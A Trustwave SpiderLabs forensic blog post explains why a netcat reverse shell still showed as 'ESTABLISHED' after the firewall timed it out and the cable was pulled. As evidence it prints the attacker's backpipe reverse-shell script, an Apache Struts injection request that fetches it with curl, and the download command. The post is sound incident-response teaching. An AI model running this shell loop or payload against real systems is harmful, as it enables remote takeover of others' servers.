Trustwave's 2024 Retail Report Series Highlights Alarming E-Commerce Threats and Growing Fraud Against Retailers. Learn More

Trustwave's 2024 Retail Report Series Highlights Alarming E-Commerce Threats and Growing Fraud Against Retailers. Learn More

Services
Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

Database Security

Prevent unauthorized access and exceed compliance requirements.

Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Solutions
BY TOPIC
Microsoft Security
Unlock the full power of Microsoft Security
Offensive Security
Solutions to maximize your security ROI
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats

Malicious shells; Established != Active

During a recent investigation, SpiderLabs was presented with evidence that appeared to be contradictory. Evidence from firewall logs and remediation actions taken by the client did not tally with the evidence collected from the compromised system. This blog post discusses how SpiderLabs investigators analysed systems to explain this.

SpiderLabs was engaged following the discovery of malicious software and unusual activity on an organisation's systems. Upon discovering the breach on August 16, the client pulled the network cable from the system to stop the hackers and contain the compromise. No changes were made to the system and SpiderLabs first responders were dispatched to perform forensic data collection.

As the compromised system had been left running without modification, it was possible to collect precious live data, including active network connections and processes. The output of the 'netstat –na' command, run on August 20, showed an active connection made by a reverse shell to an attacker's IP - 300.300.300.300:

#netstat –na

Proto Recv-Q Send-Q Local Address Foreign Address State

tcp 0 0 10.10.10.10:35317 300.300.300.300:443 ESTABLISHED

This connection was suspicious and led the investigators to dig deeper. The 'ps auxwww' shows the active processes running on a system, and in this case the source of the connection was Netcat (nc):

#ps auxwww

USER PID %CPU %MEM STAT START TIME COMMAND

user 19679 0.0 0.0 S Jul25 0:00 nc 300.300.300.300 443

Searching for the origin of the source of this command led back to a file called /tmp/dns. The full contents of which were:

#!/bin/sh

cd /tmp

while true;do

rm backpipe

mknod backpipe p

nc 300.300.300.300 443 0<backpipe | /bin/bash 1>backpipe

sleep 30

done

This evidence all pointed to the fact that an active reverse shell was active at the time of investigation. However, the server had its network cable disconnected three days before SpiderLabs were called onsite. How could the reverse shell still be active if there was no network connection?

Investigation of the server logs showed the reverse shell script being introduced to the system using a known Apache Struts exploit. Below is an abridged log record of a request to the apache instance running on the server:

Jul 25 09:25:06: 300.300.300.300 "GET /signin.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'curl',300.300.300.300/ht/dns','-o','/tmp/dns'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()} HTTP/1.1"

This log record shows the exploit being used to download malware onto the system by running the following command:

curl 300.300.300.300/ht/dns –o /tmp/dns

This request is shortly followed by a second request to execute the malware.

Within seconds of the malware being downloaded, an outbound connection to the attacker's IP is established. A line in the Firewall logs shows this:

Jul 25 2013 09:25:17: %ASA-6-302013: Built outbound TCP connection 2415307046 for Outside:300.300.300.300/443 (300.300.300.300/443) to D2_DMZ2:server_name/35317

Evidence shows the connection timing out after 4 hours:

Jul 25 2013 14:03:57: %ASA-6-302014: Teardown TCP connection 2415307046 for Outside:300.300.300.300/443 to D2_DMZ2:server_name/35317 duration 4:38:42 bytes 6987 Connection timeout

How can a connection be reported by the operating system as active when the stateful firewall has closed the connection and the network cable been removed? The answer came from understanding the characteristics of the Netcat program used by the attacker.

Netcat is often referred to as the "TCP/IP Swiss Army Knife." It is a command that gives the user a great deal of control over the way in which connections are made and maintained. By default, when Netcat sets up a TCP connection there is no timeout and no testing to ensure that a connection is being maintained. After a TCP connection is created, Netcat will dutifully and reliably sit and wait to be provided some data to communicate across the connection. If no data arrives it will wait forever.

This is exactly what had occurred in this case. A connection was made to the attacker's address. After some time with no data communication, the firewall decided that the connection was no longer being used and tore down the hole punched through the firewall. The firewall, however, didn't inform Netcat. Netcat remained listening for data that would never materialise, as the firewall would not let it through. Netcat was waiting even a month later.

When we see the output from netstat stating that a connection is "Established", we often interpret this to mean an active connection is present. However, this evidence shows us that an "Established" connection is not necessarily an "Active" connection. This distinction can be extremely important in forensic investigations. SpiderLabs was able to show that the attacker was using the reverse shell for a maximum of four hours and 39 minutes instead of for close to a month between the time the shell was placed and the network cable pulled.

ABOUT TRUSTWAVE

Trustwave is a globally recognized cybersecurity leader that reduces cyber risk and fortifies organizations against disruptive and damaging cyber threats. Our comprehensive offensive and defensive cybersecurity portfolio detects what others cannot, responds with greater speed and effectiveness, optimizes client investment, and improves security resilience. Learn more about us.

Latest Intelligence

Discover how our specialists can tailor a security program to fit the needs of
your organization.

Request a Demo